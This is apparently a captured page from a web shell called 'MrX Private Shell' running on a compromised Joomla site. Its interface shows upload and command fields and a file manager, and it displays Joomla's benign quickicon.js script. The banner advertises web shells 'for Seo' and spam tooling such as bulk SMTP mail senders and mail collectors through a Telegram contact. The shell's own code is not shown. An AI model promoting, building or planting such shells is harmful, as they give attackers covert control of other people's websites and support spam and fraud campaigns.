__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
(function () {
  'use strict';

  /**
   * @copyright  (C) 2019 Open Source Matters, Inc. <https://www.joomla.org>
   * @license    GNU General Public License version 2 or later; see LICENSE.txt
   */
  /**
   * Every quickicon with an ajax request url loads data and set them into the counter element
   * Also the data name is set as singular or plural.
   * A SR-only text is added
   * The class pulse gets 'warning', 'success' or 'error', depending on the retrieved data.
   */
  if (!Joomla) {
    throw new Error('Joomla API was not properly initialized');
  }
  Array.from(document.querySelectorAll('.quickicon')).forEach(function (quickicon) {
    var counter = quickicon.querySelector('.quickicon-amount');
    if (!counter) {
      return;
    }
    if (counter.dataset.url) {
      Joomla.request({
        url: counter.dataset.url,
        method: 'GET',
        onSuccess: function onSuccess(resp) {
          var response;
          try {
            response = JSON.parse(resp);
          } catch (error) {
            quickicon.classList.add('error');
          }
          if (Object.prototype.hasOwnProperty.call(response, 'data')) {
            var name = quickicon.querySelector('.quickicon-name');
            var nameSpan = document.createElement('span');
            quickicon.classList.add(response.data > 0 ? 'warning' : 'success');

            // Set name in singular or plural
            if (response.data.name && name) {
              nameSpan.textContent = response.data.name;
              name.replaceChild(nameSpan, name.firstChild);
            }

            // Set amount of number into counter span
            counter.textContent = "\u200E" + response.data.amount;

            // Insert screenreader text
            var sronly = quickicon.querySelector('.quickicon-sr-desc');
            if (response.data.sronly && sronly) {
              sronly.textContent = response.data.sronly;
            }
          } else {
            quickicon.classList.add('error');
          }
        },
        onError: function onError() {
          quickicon.classList.add('error');
        }
      });
    }
  });

})();

Filemanager

Name Type Size Permission Actions
quickicon-es5.js File 2.1 KB 0664
quickicon-es5.min.js File 974 B 0664
quickicon-es5.min.js.gz File 562 B 0664
quickicon.js File 1.92 KB 0664
quickicon.min.js File 931 B 0664
quickicon.min.js.gz File 547 B 0664
Filemanager